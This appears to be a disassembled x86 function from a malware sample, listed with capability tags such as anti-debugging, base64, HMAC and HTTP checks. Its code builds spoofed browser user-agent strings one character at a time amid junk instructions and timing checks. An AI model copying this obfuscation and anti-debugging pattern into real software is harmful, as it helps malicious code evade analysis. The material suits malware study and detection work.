Function at 0x701ac9
Capabilities:
Authenticate hmac
Check http status code
Encode data using base64
Execute anti-debugging instructions
Parse pe header
Write file on windows

Disassembly:
push ebp
shrd eax, esp, 7
test si, 0x4db7
bt ebp, esp
mov ebp, esp
bsf ax, di
push 0xfffffffffffffffe
bt eax, 0xcb
push 0x645648
dec al
add ax, 0x3d68
push 0x45aa50
sub al, al
mov eax, dword fs:[0]
jmp 0x76b988
mov dword [ebp - 0x1e58], ecx
cwde
mov edx, dword [ebp + 0x1c]
mov ax, di
movsx eax, cx
mov dword [ebp - 0x1e5c], edx
mov dword [esi], 0
cwde
push 0
mov eax, dword [0x50ce70]
jmp 0x7b32af
mov word [ebp - 0x1db6], ax
mov ecx, 0x2e
mov word [ebp - 0x1db4], cx
mov edx, eax
sbb eax, ebp
mov word [ebp - 0x1db2], dx
bsr eax, ecx
mov eax, ecx
mov word [ebp - 0x1db0], ax
adc cl, 0x61
mov ecx, 0x31
sar al, cl
cwd
mov word [ebp - 0x1dae], cx
bsf ecx, ebp
rcl ch, 0x8b
movsx eax, si
mov edx, 0x35
rol ecx, 0x2a
add cl, 0xff
mov word [ebp - 0x1dac], dx
mov dl, cl
bts ax, bx
mov eax, 0x20
ror dl, 0xb8
clc
shrd edx, esp, 0xde
mov word [ebp - 0x1daa], ax
bsr edx, ecx
mov ecx, 0x56
mov ah, 0x8e
mov word [ebp - 0x1da8], cx
lahf
shr dl, cl
mov edx, 0x65
mov word [ebp - 0x1da6], dx
cmp sp, 0x6152
bsf edx, esi
mov eax, 0x72
shrd dx, bx, 0xc0
rol ch, 0x5a
mov word [ebp - 0x1da4], ax
mov ecx, 0x73
or eax, 0x556e7099
mov word [ebp - 0x1da2], cx
ror ax, 0xe5
mov edx, 0x69
movsx eax, dx
or al, 0x5a
mov word [ebp - 0x1da0], dx
sbb eax, esp
cmp sp, dx
test edx, esi
mov eax, 0x6f
shld cx, si, 0x39
neg ch
or dx, bx
mov word [ebp - 0x1d9e], ax
not dh
inc eax
mov ecx, 0x6e
bswap edx
mov word [ebp - 0x1d9c], cx
mov edx, 0x2f
rcr ah, 0x62
mov word [ebp - 0x1d9a], dx
ror dl, cl
or cl, 5
sbb cx, si
mov eax, 0x31
sets cl
cmc
mov word [ebp - 0x1d98], ax
sub ah, dl
mov ecx, 0x30
shr eax, 0x63
bsr edx, ebp
mov word [ebp - 0x1d96], cx
add dx, di
jmp 0x79877b
je fcn.007e56d8
mov ecx, 0x4f
bswap edx
add ah, 0x22
mov word [ebp - 0x1e20], cx
mov edx, 0x70
btc ecx, 0xb0
mov word [ebp - 0x1e1e], dx
and eax, eax
dec cx
mov eax, 0x65
bts ecx, ebx
mov word [ebp - 0x1e1c], ax
stc
inc ecx
mov ecx, 0x72
xor ax, di
cwd
mov word [ebp - 0x1e1a], cx
movzx edx, si
mov edx, 0x61
cmp esi, esp
and ah, 0x5d
mov word [ebp - 0x1e18], dx
mov cx, 0x6637
mov eax, 0x2f
mov word [ebp - 0x1e16], ax
btr dx, 0x93
mov ecx, 0x39
btr dx, bx
mov word [ebp - 0x1e14], cx
ror al, 0xc2
mov edx, 0x2e
shl ax, cl
sub ecx, 0x44560fa6
mov word [ebp - 0x1e12], dx
mov eax, 0x38
and cl, ah
mov word [ebp - 0x1e10], ax
cmp ebx, 0x212222ee
bswap edx
adc edx, 0x741d7930
mov ecx, 0x30
rol dh, cl
mov word [ebp - 0x1e0e], cx
mov edx, 0x20
mov word [ebp - 0x1e0c], dx
mov eax, 0x28
mov word [ebp - 0x1e0a], ax
shrd dx, cx, 0x99
mov ecx, 0x4d
mov word [ebp - 0x1e08], cx
mov edx, 0x61
rol ecx, cl
clc
shld eax, ecx, 0xf0
mov word [ebp - 0x1e06], dx
mov eax, 0x63
neg dl
and ecx, esi
mov word [ebp - 0x1e04], ax
cwde
jmp 0x61cff3
mov ecx, 0x69
movzx eax, bp
mov word [ebp - 0x1e02], cx
sbb cx, 0x5530
adc al, dl
movsx ecx, cx
mov edx, 0x6e
lahf
cmc
cmovb cx, dx
mov word [ebp - 0x1e00], dx
xor edx, ebp
and ecx, ebp
rcr dh, cl
mov eax, 0x74
and ch, 0xb0
cmp edx, ebp
setns dh
mov word [ebp - 0x1dfe], ax
movsx dx, al
cwd
or edx, ebx
mov ecx, 0x6f
bswap ax
mov word [ebp - 0x1dfc], cx
neg dx
mov ecx, 0x77361c89
mov edx, 0x73
btc ecx, edi
mov word [ebp - 0x1dfa], dx
mov eax, 0x68
mov word [ebp - 0x1df8], ax
mov ecx, 0x3b
stc
mov dx, 0x2586
mov word [ebp - 0x1df6], cx
or edx, esi
neg dx
mov edx, 0x20
sal ecx, 0x99
btr ax, di
mov word [ebp - 0x1df4], dx
adc al, 0x47
xadd eax, ecx
sar ax, cl
mov eax, 0x49
btr ecx, esp
mov word [ebp - 0x1df2], ax
cbw
mov ecx, 0x6e
btr eax, edx
mov word [ebp - 0x1df0], cx
mov edx, 0x74
dec ah
setl ch
shld ax, cx, 0x33
mov word [ebp - 0x1dee], dx
bt dx, 0x79
sub ch, 0x99
xor eax, edi
mov eax, 0x65
bsr edx, esi
sub edx, eax
mov word [ebp - 0x1dec], ax
xadd ax, cx
mov ecx, 0x6c
cdq
or ax, 0x30c0
mov word [ebp - 0x1dea], cx
mov edx, 0x20
btc eax, ebp
mov word [ebp - 0x1de8], dx
mov eax, 0x4d
ror cx, 0xd5
xor ecx, 0x578b5981
mov word [ebp - 0x1de6], ax
cmp ebx, esi
mov ecx, 0x61
shrd edx, eax, 0xd1
mov word [ebp - 0x1de4], cx
btr ecx, 0x33
mov eax, edi
bt ax, 0x2d
mov edx, 0x63
sal cx, cl
mov word [ebp - 0x1de2], dx
sub cx, dx
rcl dh, cl
mov eax, 0x20
add cx, si
and dx, 0x716b
xchg ecx, ecx
mov word [ebp - 0x1de0], ax
sar cx, cl
and dx, 0x74b
mov ecx, 0x4f
xor dx, bx
mov word [ebp - 0x1dde], cx
mov edx, 0x53
btc cx, 0x41
mov word [ebp - 0x1ddc], dx
mov word [ebp - 0x1dda], ax
sal dx, cl
rol dl, 0xa6
sbb dx, 0x68a5
mov ecx, 0x58
rcl dl, 0xdf
mov word [ebp - 0x1dd8], cx
add cl, 0xe7
bswap cx
mov edx, 0x3b
adc cx, cx
movsx cx, bl
mov word [ebp - 0x1dd6], dx
shld cx, dx, 0x60
xor ecx, edi
mov word [ebp - 0x1dd4], ax
mov ecx, 0x55
cmp edx, esi
mov word [ebp - 0x1dd2], cx
mov word [ebp - 0x1dd0], dx
mov word [ebp - 0x1dce], ax
sal al, 0xd6
shl ah, 0x64
mov ecx, 0x65
bt eax, 0x47
mov word [ebp - 0x1dcc], cx
sal dl, 0xf2
bt cx, dx
mov edx, 0x6e
mov word [ebp - 0x1dca], dx
mov eax, 0x29
adc cl, ch
bt ecx, esi
shr edx, 0x8c
mov word [ebp - 0x1dc8], ax
ror eax, cl
btr cx, 0xa0
not dh
mov ecx, 0x20
sbb al, 0xed
neg edx
shl ah, cl
mov word [ebp - 0x1dc6], cx
rdtsc
xadd ecx, edx
cwd
mov edx, 0x50
jmp 0x6fba13
push eax
xchg cx, cx
movsx ecx, dx
jmp loc.0042127a
mov word [ebp - 0x1dc4], dx
mov eax, 0x72
mov word [ebp - 0x1dc2], ax
or eax, eax
xor ax, 0x6163
mov ecx, 0x65
btr dx, cx
mov word [ebp - 0x1dc0], cx
rcl eax, cl
mov edx, 0x73
cmovne ecx, ecx
sbb ah, 0x60
setns ah
mov word [ebp - 0x1dbe], dx
bswap eax
ror eax, cl
mov eax, 0x74
not edx
mov word [ebp - 0x1dbc], ax
shrd ecx, edx, 0x92
btr dx, 0x43
sar eax, cl
mov ecx, 0x6f
btc eax, 0xca
mov word [ebp - 0x1dba], cx
mov edx, 0x2f
add al, 0x1b
mov word [ebp - 0x1db8], dx
cwde
and dh, 0x7a
shl cx, cl
mov eax, 0x32
shr dl, cl
jmp 0x5bb719
call fcn.0045b700
mov eax, dword [0x5015e8]
test bp, 0x438f
xor dword [ebp - 8], eax
test bx, sp
xor eax, ebp
jmp 0x7c0559
sub esp, 8
setae al
mov eax, 0x1e50
jmp 0x701ac9
mov word [ebp - 0x1d92], ax
ror al, cl
mov word [ebp - 0x1d90], cx
xor edx, edx
cmovge eax, eax
mov word [ebp - 0x1d8e], dx
setbe ah
push 0x16c
push edx
lea eax, [ebp - 0x1d8c]
push eax
call fcn.0045a3d0
mov ecx, 0x4f
mov dh, 0x15
btc eax, 0xc5
cmp sp, 0x587c
mov word [ebp - 0x1c20], cx
sbb edx, esi
mov edx, 0x70
mov word [ebp - 0x1c1e], dx
btc ax, 0x11
mov eax, 0x65
bts dx, bx
cmp bh, ch
test si, bp
mov word [ebp - 0x1c1c], ax
bt edx, 0xd2
shr ecx, cl
stc
mov ecx, 0x72
bts eax, esi
mov word [ebp - 0x1c1a], cx
sub ecx, 0x6da35107
sbb dh, 0xba
cdq
mov edx, 0x61
bt eax, ebp
test edx, 0x1fdd7a45
mov word [ebp - 0x1c18], dx
cmp ax, 0x49e2
mov eax, 0x2f
cdq
mov word [ebp - 0x1c16], ax
mov ecx, 0x39
xor al, 0xfd
shr ah, cl
mov word [ebp - 0x1c14], cx
movsx eax, dx
dec dx
mov edx, 0x2e
mov word [ebp - 0x1c12], dx
sar dh, cl
cmc
mov eax, 0x36
btc cx, si
mov word [ebp - 0x1c10], ax
sar dh, 0x7d
mov ecx, 0x30
shl dh, cl
shr dx, cl
sal ah, 0xc3
mov word [ebp - 0x1c0e], cx
mov edx, 0x20
mov word [ebp - 0x1c0c], dx
test si, 0x2cac
not al
mov eax, 0x28
mov ch, bl
sal ecx, cl
sbb ecx, 0x18af550a
mov word [ebp - 0x1c0a], ax
btc ax, 0x97
bts ecx, edx
cmovs eax, ebp
mov ecx, 0x57
mov word [ebp - 0x1c08], cx
bsr ax, si
test ebp, 0x3a773793
bt ecx, 0xf0
mov edx, 0x69
sal ah, 0xbc
mov word [ebp - 0x1c06], dx
mov eax, 0x6e
and cx, bp
bt ecx, edx
mov word [ebp - 0x1c04], ax
mov ecx, 0x64
not dl
mov word [ebp - 0x1c02], cx
mov edx, 0x6f
mov word [ebp - 0x1c00], dx
sbb dx, sp
mov eax, 0x77
bts edx, esp
mov word [ebp - 0x1bfe], ax
mov ecx, 0x73
mov word [ebp - 0x1bfc], cx
rol ah, 0x30
add edx, 0x262a5dae
ror ah, 0x34
mov edx, 0x20
xchg cl, ah
bt ecx, eax
mov word [ebp - 0x1bfa], dx
movzx ecx, si
mov eax, 0x4e
add ecx, esi
and cl, 0xcb
mov word [ebp - 0x1bf8], ax
cwde
mov ecx, 0x54
shr ah, 0xc8
shrd ax, bx, 0xc6
sbb ax, si
mov word [ebp - 0x1bf6], cx
add eax, 0x7d4306af
test esi, edx
sal ecx, 0xed
mov word [ebp - 0x1bf4], dx
mov eax, 0x36
xchg dl, dh
ror dh, 0x1f
cmc
mov word [ebp - 0x1bf2], ax
cwde
rcr edx, 0x2f
mov ecx, 0x2e
clc
mov word [ebp - 0x1bf0], cx
shld ecx, ebx, 0xc4
mov edx, 0x30
stc
rol ecx, 1
mov ah, 0x9d
mov word [ebp - 0x1bee], dx
dec dh
rdtsc
add eax, edi
mov eax, 0x3b
add ch, bh
mov word [ebp - 0x1bec], ax
btr dx, 0xc2
mov ecx, 0x20
sbb dx, cx
shr dh, cl
mov word [ebp - 0x1bea], cx
cmovg dx, di
rcl dh, cl
mov edx, 0x55
clc
cmp eax, edi
cmp bp, 0x7ae0
mov word [ebp - 0x1be8], dx
setp dl
mov word [ebp - 0x1be6], ax
cdq
mov word [ebp - 0x1be4], cx
mov edx, 0x65
mov word [ebp - 0x1be2], dx
ror dh, cl
cbw
mov eax, 0x6e
mov word [ebp - 0x1be0], ax
shl cl, 0x45
mov ecx, 0x29
mov word [ebp - 0x1bde], cx
bts ecx, ecx
mov edx, 0x20
or cl, 0x43
xor ecx, eax
mov word [ebp - 0x1bdc], dx
not dh
dec dh
mov eax, 0x50
mov word [ebp - 0x1bda], ax
adc dl, 0xb0
ror cx, cl
mov ecx, 0x72
mov word [ebp - 0x1bd8], cx
inc ah
mov edx, 0x65
clc
mov word [ebp - 0x1bd6], dx
stc
shl dx, cl
mov eax, 0x73
adc edx, ebp
btc cx, bp
bt ecx, ebp
mov word [ebp - 0x1bd4], ax
inc dl
test cx, ax
dec dl
mov ecx, 0x74
jmp 0x7d35f5
mov ecx, dword [ebp + 0x18]
cwd
jmp 0x5780a7
mov word [ebp - 0x1bcc], cx
rol ah, cl
mov edx, 0x2e
mov word [ebp - 0x1bca], dx
rcr cx, 0x55
test ax, 0x2567
mov eax, 0x31
sub ecx, edx
mov word [ebp - 0x1bc8], ax
btc cx, bx
mov ecx, edx
sal dl, cl
mov word [ebp - 0x1bc6], cx
rol dl, cl
btr edx, 0x9b
mov edx, eax
bt ecx, 0x86
movzx ecx, bp
mov word [ebp - 0x1bc4], dx
xchg ch, cl
shr ecx, 0x4b
xor eax, eax
mov word [ebp - 0x1bc2], ax
mov ch, bh
cmovnp cx, ax
push 0x1a0
xchg cl, cl
jmp 0x62fe1e
push eax
jmp 0x717cf8
mov edx, 0x2e
mov word [ebp - 0x1d94], dx
mov eax, ecx
stc
jmp 0x728573
push eax
jmp 0x7c477b
mov dword [ebp - 0x1c], eax
push ebx
cmovae bx, cx
push esi
push edi
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov eax, edi
mov dword [ebp - 0x18], esp
nop
mov ebx, dword [ebp + 8]
lahf
mov eax, dword [ebp + 0xc]
not si
cmovbe esi, ebp
xchg esi, esi
mov dword [ebp - 0x1e40], eax
mov dword [ebp - 0x1e38], ecx
cwde
lahf
mov esi, dword [ebp + 0x10]
movsx ax, dh
jmp 0x835b4a
call fcn.00777670
test eax, eax
jmp 0x613d99
mov word [ebp - 0x1bd2], cx
cwd
mov edx, 0x6f
mov word [ebp - 0x1bd0], dx
lahf
mov eax, 0x2f
bsr edx, eax
btr ecx, 0x42
shld edx, ebx, 0xdc
mov word [ebp - 0x1bce], ax
cwde
sub ax, 0x4a5a
mov ecx, 0x32
test ebp, 0x3adf73c5
sub ah, 0x79
jmp 0x74d3f9
mov dword [ebp - 0x1e30], esi
setp ch
cmovge ax, sp
bswap ax
mov dword [ebp - 0x1e2c], edx
mov eax, dword [ebp + 0x14]
movsx edx, bp
movzx ecx, ax
mov dword [ebp - 0x1e28], eax
jmp 0x743faf